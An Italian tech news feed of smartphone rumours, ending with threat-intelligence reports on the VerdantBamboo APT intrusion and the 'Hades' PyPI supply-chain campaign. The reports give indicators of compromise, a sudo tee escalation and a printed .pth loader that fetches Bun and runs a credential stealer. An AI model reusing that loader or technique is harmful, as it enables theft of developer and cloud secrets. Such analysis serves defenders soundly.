La tendenza a montare batterie di grande capacità sui dispositivi economici è ormai consolidata nel mercato asiatico e si sta espandendo globalmente. Mentre i flagship si scontrano sul fronte delle performance e delle fotocamere, i mid-range competono sempre più sull’autonomia. Una batteria da 7000 mAh garantirebbe facilmente due giorni di utilizzo intenso, un argomento di vendita potente per chi usa molto lo smartphone.

Presentazione attesa entro giugno


Secondo alcune fonti, la presentazione ufficiale del Redmi 17 potrebbe avvenire già il 18 giugno, insieme al Redmi Turbo 5. La disponibilità internazionale, inclusa quella in Europa, non è ancora confermata ma la tendenza di Xiaomi a distribuire i Redmi su mercati globali fa ben sperare. Restate sintonizzati per aggiornamenti sull’uscita italiana.

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Xiaomi lancia Hyper Launcher: HyperOS si rinnova con effetti blur avanzati e Flutter/Rust sotto il cofano


Xiaomi ha distribuito un importante aggiornamento per il launcher di sistema di HyperOS, ufficialmente rinominato Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher introduce effetti visivi inediti e, soprattutto, nasconde una riscrittura tecnica profonda basata su Flutter e Rust. Effetto blur ovunque: l'interfaccia diventa più raffinata La novità più immediata di Hyper Launcher è l'espansione degli effetti di sfocatura (blur) e trasparenza, già caratteristici di […]
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Xiaomi ha distribuito un importante aggiornamento per il launcher di sistema di HyperOS, ufficialmente rinominato Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher introduce effetti visivi inediti e, soprattutto, nasconde una riscrittura tecnica profonda basata su Flutter e Rust.

Effetto blur ovunque: l’interfaccia diventa più raffinata


La novità più immediata di Hyper Launcher è l’espansione degli effetti di sfocatura (blur) e trasparenza, già caratteristici di HyperOS. Con l’aggiornamento — versione RELEASE-7.00.11.7643-06051136-R — questi effetti vengono applicati in modo più pervasivo:

  • Schermata home
  • Cassetto delle app (App Drawer)
  • Menu delle scorciatoie
  • Schermata delle impostazioni del desktop
  • Multitasking (app recenti)

Il risultato visivo punta a un’estetica più moderna e coerente, con profondità e trasparenza che richiamano le tendenze di iOS e dei launcher premium Android.

Cartelle più personalizzabili


Hyper Launcher porta anche miglioramenti concreti alla gestione delle cartelle sulla home screen. Gli utenti possono ora scegliere tra tre dimensioni — standard, grande e XXL — e la schermata di editing delle cartelle è stata riprogettata con anteprima delle app e funzione di ordinamento automatico. Una funzionalità particolarmente apprezzabile su tablet e smartphone a grande schermo.

La novità vera: Flutter e Rust nel motore


Analizzando i file del pacchetto aggiornato, i ricercatori hanno trovato librerie che confermano un cambio tecnologico importante: libhyper_os_flutter.so e librust_aml_sdk.so. Xiaomi sta migrando il launcher da tecnologie native tradizionali verso Flutter (il framework UI multipiattaforma di Google) e Rust (linguaggio moderno ad alte prestazioni e sicurezza). Questo significa che Hyper Launcher non è solo un’app di home screen, ma sta diventando un componente core di HyperOS, costruito su basi tecnologiche più solide e future-proof.

L’aggiornamento non è compatibile con tutti i dispositivi Xiaomi: richiede hardware predisposto per la nuova architettura. Chi prova a installarlo su dispositivi non supportati potrebbe riscontrare crash o problemi di compatibilità. Hyper Launcher sembra anticipare le direzioni di HyperOS 4, in arrivo probabilmente nella seconda metà del 2026.

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Xperia 1 VIII contro Galaxy S26 Ultra: i benchmark rivelano un divario di prestazioni inaspettato


Sony ha equipaggiato il suo nuovo top di gamma Xperia 1 VIII con lo Snapdragon 8 Elite Gen 5, lo stesso SoC del Galaxy S26 Ultra. Eppure, guardando i benchmark Geekbench, la crescita generazionale dei due dispositivi è tutt'altro che equivalente. I numeri che sorprendono Analizzando la media degli ultimi 25 test Geekbench per ciascun dispositivo e confrontandola con la generazione precedente, emerge un quadro chiaro: Galaxy S25 Ultra → S26 Ultra: +30,6% single-core, +21,8% […]
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Sony ha equipaggiato il suo nuovo top di gamma Xperia 1 VIII con lo Snapdragon 8 Elite Gen 5, lo stesso SoC del Galaxy S26 Ultra. Eppure, guardando i benchmark Geekbench, la crescita generazionale dei due dispositivi è tutt’altro che equivalente.

I numeri che sorprendono


Analizzando la media degli ultimi 25 test Geekbench per ciascun dispositivo e confrontandola con la generazione precedente, emerge un quadro chiaro:

  • Galaxy S25 Ultra → S26 Ultra: +30,6% single-core, +21,8% multi-core
  • Xperia 1 VII → Xperia 1 VIII: +24,5% single-core, +15,8% multi-core

Entrambi i dispositivi guadagnano in prestazioni rispetto alla generazione precedente, ma la differenza è sostanziale: Samsung riesce a sfruttare meglio il salto generazionale del chip, mentre Sony rimane più indietro, in particolare sul multi-core dove si ferma a un modesto +16%.

Perché Xperia “spreca” il chip?


La spiegazione più plausibile riguarda le scelte di design e ottimizzazione termiche. Samsung monta grandi camere di vapore nei suoi flagship e ottimizza il firmware per massimizzare le performance del chip, anche a costo di temperature più elevate. Sony, invece, privilegia un form factor sottile e leggero, dando priorità alla stabilità termica, alla durata della batteria durante le sessioni fotografiche e alla gestione dei consumi. Il risultato è un chip “tenuto a freno” rispetto al suo potenziale teorico.

Un problema di percezione, non solo di numeri


Chi usa lo Xperia 1 VIII nella vita quotidiana non troverà il telefono lento: siamo comunque su uno dei chip più potenti disponibili. Il punto è un altro: con uno Snapdragon 8 Elite Gen 5, ci si aspetta un salto netto rispetto alla generazione precedente, e la percezione di “poca novità” che accompagna l’Xperia 1 VIII trova conferma nei dati di benchmark. Nel frattempo, il Galaxy S26 Ultra amplia ulteriormente il gap prestazionale rispetto al rivale giapponese, un divario che era già presente ma che ora risulta ancora più marcato.

I benchmark non raccontano tutta la storia di uno smartphone — e Xperia 1 VIII resta un dispositivo eccellente per fotografia e multimedia — ma sul piano delle prestazioni pure, Sony ha ancora margini di miglioramento da sfruttare.

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Galaxy S27 Pro con batteria da 5000 mAh? I rumor parlano di autonomia superiore all’Ultra


I rumor sul Galaxy S27 Pro si fanno sempre più interessanti. Secondo le ultime indiscrezioni, il modello intermedio della prossima serie flagship Samsung potrebbe montare una batteria da 5000 mAh, la stessa capacità dell'attuale Galaxy S Ultra — e grazie a un display più compatto, potrebbe addirittura superarlo in autonomia reale. Stessa capacità, schermo più piccolo = più durata? Il Galaxy S27 Pro dovrebbe montare un display da circa 6,47 pollici, più compatto di quello […]
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I rumor sul Galaxy S27 Pro si fanno sempre più interessanti. Secondo le ultime indiscrezioni, il modello intermedio della prossima serie flagship Samsung potrebbe montare una batteria da 5000 mAh, la stessa capacità dell’attuale Galaxy S Ultra — e grazie a un display più compatto, potrebbe addirittura superarlo in autonomia reale.

Stessa capacità, schermo più piccolo = più durata?


Il Galaxy S27 Pro dovrebbe montare un display da circa 6,47 pollici, più compatto di quello dell’Ultra. Con pari capienza batteristica ma meno pixel da alimentare, il consumo energetico risulterebbe inferiore, il che si tradurrebbe in una maggiore autonomia nelle sessioni quotidiane. In pratica, chi cerca la massima durata potrebbe trovare nel Pro la scelta vincente rispetto all’Ultra.

Senza S Pen, c’è spazio per la batteria


Come si riesce a infilare una batteria da 5000 mAh in un corpo più compatto? La risposta starebbe nell’assenza della S Pen. I leak precedenti indicano che il Galaxy S27 Pro non includerà lo stilo integrato, liberando lo spazio interno che nei modelli Ultra è destinato al vano di alloggiamento. Quello spazio potrebbe essere rediretto interamente al modulo batteria.

Anche il comparto fotografico punta in alto


I rumor non si fermano alla batteria. Per il Galaxy S27 Pro si parla anche di sensori fotografici identici a quelli dell’Ultra, tra cui il main camera e l’ultra-grandangolare. Se confermato, il Pro diventerebbe a tutti gli effetti un Ultra “senza S Pen e con schermo leggermente più piccolo”, con un rapporto qualità-prezzo potenzialmente molto allettante.

Samsung presenterà la serie Galaxy S27 indicativamente a febbraio 2027. C’è ancora molto tempo prima della presentazione ufficiale, ma se le indiscrezioni si riveleranno accurate, il Galaxy S27 Pro potrebbe diventare il modello più conveniente dell’intera lineup — e non solo un ripiego rispetto all’Ultra.

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One UI 9 già in sviluppo per Galaxy S25: Samsung anticipa i tempi di due settimane


Samsung sta sviluppando One UI 9 con largo anticipo rispetto al previsto. Secondo informazioni trapelate, build interne destinate ai Galaxy S25 sarebbero già in circolazione, con un ritmo di sviluppo che supera di circa due settimane quello registrato lo scorso anno per One UI 8. S25 già nel programma di test, non solo S26 Normalmente, le prime build sperimentali di una nuova versione di One UI vengono destinate ai dispositivi della generazione successiva — in questo caso il Galaxy S26 […]
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Samsung sta sviluppando One UI 9 con largo anticipo rispetto al previsto. Secondo informazioni trapelate, build interne destinate ai Galaxy S25 sarebbero già in circolazione, con un ritmo di sviluppo che supera di circa due settimane quello registrato lo scorso anno per One UI 8.

S25 già nel programma di test, non solo S26


Normalmente, le prime build sperimentali di una nuova versione di One UI vengono destinate ai dispositivi della generazione successiva — in questo caso il Galaxy S26 — per poi espandersi gradualmente ai modelli precedenti. Stavolta, però, le build interne di One UI 9 sarebbero già state avvistate su Galaxy S25 Ultra e sull’intera serie S25, il che suggerisce che Samsung stia ampliando subito il bacino di test.

Beta potenzialmente entro giugno o luglio


Se lo sviluppo procede a questo ritmo, il programma beta pubblico per Galaxy S25 potrebbe aprirsi già tra giugno e luglio. L’anno scorso, il primo beta pubblico di One UI 8 per Galaxy S24 era partito a metà giugno: considerando i due settimane di anticipo accumulati, l’arrivo del beta per S25 potrebbe avvenire prima della fine di giugno.

Sviluppo accelerato o leak più precoci?


C’è però da considerare una variabile: potrebbe non essere lo sviluppo ad essere più veloce, ma semplicemente le informazioni a trapelare prima rispetto all’anno scorso. In ogni caso, il fatto che Galaxy S25 sia già incluso nei test interni di One UI 9 è un segnale positivo per chi ha acquistato il flagship di inizio 2026 e attende con interesse le novità della prossima major release del software Samsung.

Samsung non ha ancora comunicato nulla ufficialmente su One UI 9, né sulle sue funzionalità principali. Ci aspettiamo annunci più concreti in estate, probabilmente in occasione del Galaxy Unpacked dedicato ai pieghevoli.

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Pixel Watch 4: problemi con la connessione LTE, il watch perde il segnale lontano dallo smartphone


Numerose segnalazioni stanno emergendo da parte degli utenti del Pixel Watch 4: il modello LTE di Google presenta un bug che impedisce al dispositivo di agganciare correttamente la rete mobile quando lo smartwatch si allontana dallo smartphone abbinato. Il problema: LTE che non si attiva Il Pixel Watch 4, quando è connesso al telefono via Bluetooth, funziona senza problemi. Ma nel momento in cui l'utente lascia lo smartphone a casa e si affida alla connettività cellulare indipendente, il […]
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Numerose segnalazioni stanno emergendo da parte degli utenti del Pixel Watch 4: il modello LTE di Google presenta un bug che impedisce al dispositivo di agganciare correttamente la rete mobile quando lo smartwatch si allontana dallo smartphone abbinato.

Il problema: LTE che non si attiva


Il Pixel Watch 4, quando è connesso al telefono via Bluetooth, funziona senza problemi. Ma nel momento in cui l’utente lascia lo smartphone a casa e si affida alla connettività cellulare indipendente, il watch non riesce a passare correttamente alla rete LTE. Il risultato è che chiamate e messaggi diventano irraggiungibili, vanificando uno dei punti di forza principali del dispositivo.

In alcuni casi, il problema si manifesta in modo ancora più strano: anche con lo smartphone acceso e funzionante nelle vicinanze, il Pixel Watch 4 mostra il messaggio “connessione con lo smartphone interrotta”, pur essendo fisicamente vicino al telefono.

Soluzioni temporanee: riavvio e modalità aereo


Al momento non esiste una soluzione definitiva. Gli utenti colpiti dal bug hanno scoperto che riavviare il Pixel Watch 4 ripristina temporaneamente la connessione LTE, ma il problema può ripresentarsi. Un’altra workaround segnalata dalla community è quella di attivare e disattivare la modalità aereo direttamente dall’orologio, operazione che in molti casi sblocca la ricezione cellulare.

Non è la prima volta per il Pixel Watch


Il Pixel Watch 4 non è nuovo a problemi software: nei mesi scorsi erano già emersi bug legati al tracciamento del sonno e malfunzionamenti dell’elettrocardiogramma. Il fatto che ora sia coinvolta la connettività LTE — funzionalità core per chi acquista la versione premium — è particolarmente problematico.

Non è ancora chiaro quanti utenti siano effettivamente colpiti dal bug, poiché le segnalazioni provengono principalmente da community online. Google non ha ancora rilasciato dichiarazioni ufficiali né comunicato aggiornamenti correttivi in arrivo. Considerata la natura del problema, tuttavia, è probabile che un fix software arrivi con i prossimi aggiornamenti mensili.

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Galaxy Z Fold 8 Ultra con batteria da 5000 mAh: le cover leaked confermano il nuovo design più largo


Le immagini delle custodie del Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8 sono trapelate online, aggiungendo nuovi dettagli al profilo dei prossimi foldable Samsung. Le cover, prodotte dall'accessorista Thinborne, coincidono con i mock-up e i render visti in precedenza e sembrano confermare definitivamente la direzione di design della nuova gamma. Fold 8 più largo: il cambiamento è confermato La novità più evidente riguarda il Galaxy Z Fold 8: le custodie mostrano un rapporto d'aspetto […]
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Le immagini delle custodie del Galaxy Z Fold 8, Z Fold 8 Ultra e Z Flip 8 sono trapelate online, aggiungendo nuovi dettagli al profilo dei prossimi foldable Samsung. Le cover, prodotte dall’accessorista Thinborne, coincidono con i mock-up e i render visti in precedenza e sembrano confermare definitivamente la direzione di design della nuova gamma.

Fold 8 più largo: il cambiamento è confermato


La novità più evidente riguarda il Galaxy Z Fold 8: le custodie mostrano un rapporto d’aspetto più orizzontale rispetto all’attuale Fold, confermando le voci di un display esterno più largo. Samsung si adeguerebbe così alla tendenza portata avanti dai competitor cinesi (OnePlus, Honor, Oppo), che da tempo adottano un form factor più simile a quello di un tradizionale smartphone quando il foldable è chiuso. Anche gli utenti occidentali hanno premiato questo approccio, e Samsung sembra aver preso nota.

Z Fold 8 Ultra: 5000 mAh e corpo più sottile


Sul fronte del modello Ultra, i rumor più recenti parlano di una batteria da 5000 mAh, in netto miglioramento rispetto ai 4400 mAh del Fold 7. Il salto sarebbe notevole considerando che, allo stesso tempo, il dispositivo dovrebbe essere ancora più sottile della generazione precedente. L’autonomia è storicamente uno dei punti deboli dei foldable, e un aumento così significativo di capacità sarebbe accolto con entusiasmo dagli utenti.

Z Flip 8: evoluzione senza rivoluzioni


Le custodie del Galaxy Z Flip 8, invece, non suggeriscono cambiamenti radicali al design rispetto all’attuale Flip 7. Il modello flip di Samsung dovrebbe puntare su miglioramenti interni — chip più potente, fotocamere aggiornate — mantenendo un profilo estetico riconoscibile.

Tra le curiosità emerse dai leak, anche una nuova Carbon Standing Case con supporto integrato per l’uso in orizzontale, pensata per sfruttare al meglio il grande schermo interno del Fold 8 in scenari come video conference e streaming. L’annuncio ufficiale dei nuovi Galaxy Z è atteso per l’estate 2026, probabilmente a luglio in occasione del consueto Galaxy Unpacked dedicato ai foldable.

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Xiaomi lancia Hyper Launcher: HyperOS si rinnova con effetti blur avanzati e Flutter/Rust sotto il cofano


Xiaomi ha distribuito un importante aggiornamento per il launcher di sistema di HyperOS, ufficialmente rinominato Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher introduce effetti visivi inediti e, soprattutto, nasconde una riscrittura tecnica profonda basata su Flutter e Rust. Effetto blur ovunque: l'interfaccia diventa più raffinata La novità più immediata di Hyper Launcher è l'espansione degli effetti di sfocatura (blur) e trasparenza, già caratteristici di […]
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Xiaomi ha distribuito un importante aggiornamento per il launcher di sistema di HyperOS, ufficialmente rinominato Hyper Launcher. Non si tratta di un semplice restyling: il nuovo launcher introduce effetti visivi inediti e, soprattutto, nasconde una riscrittura tecnica profonda basata su Flutter e Rust.

Effetto blur ovunque: l’interfaccia diventa più raffinata


La novità più immediata di Hyper Launcher è l’espansione degli effetti di sfocatura (blur) e trasparenza, già caratteristici di HyperOS. Con l’aggiornamento — versione RELEASE-7.00.11.7643-06051136-R — questi effetti vengono applicati in modo più pervasivo:

  • Schermata home
  • Cassetto delle app (App Drawer)
  • Menu delle scorciatoie
  • Schermata delle impostazioni del desktop
  • Multitasking (app recenti)

Il risultato visivo punta a un’estetica più moderna e coerente, con profondità e trasparenza che richiamano le tendenze di iOS e dei launcher premium Android.

Cartelle più personalizzabili


Hyper Launcher porta anche miglioramenti concreti alla gestione delle cartelle sulla home screen. Gli utenti possono ora scegliere tra tre dimensioni — standard, grande e XXL — e la schermata di editing delle cartelle è stata riprogettata con anteprima delle app e funzione di ordinamento automatico. Una funzionalità particolarmente apprezzabile su tablet e smartphone a grande schermo.

La novità vera: Flutter e Rust nel motore


Analizzando i file del pacchetto aggiornato, i ricercatori hanno trovato librerie che confermano un cambio tecnologico importante: libhyper_os_flutter.so e librust_aml_sdk.so. Xiaomi sta migrando il launcher da tecnologie native tradizionali verso Flutter (il framework UI multipiattaforma di Google) e Rust (linguaggio moderno ad alte prestazioni e sicurezza). Questo significa che Hyper Launcher non è solo un’app di home screen, ma sta diventando un componente core di HyperOS, costruito su basi tecnologiche più solide e future-proof.

L’aggiornamento non è compatibile con tutti i dispositivi Xiaomi: richiede hardware predisposto per la nuova architettura. Chi prova a installarlo su dispositivi non supportati potrebbe riscontrare crash o problemi di compatibilità. Hyper Launcher sembra anticipare le direzioni di HyperOS 4, in arrivo probabilmente nella seconda metà del 2026.

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VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le Conditional Access Policy di Microsoft 365. Il gruppo è tornato pochi giorni dopo la remediation.
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Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

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Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth che esegue silenziosamente uno stealer basato su Bun JavaScript runtime, colpendo credenziali di sviluppatori, pipeline CI/CD e ambienti cloud (AWS, GCP, Azure, GitHub, Kubernetes).
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Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


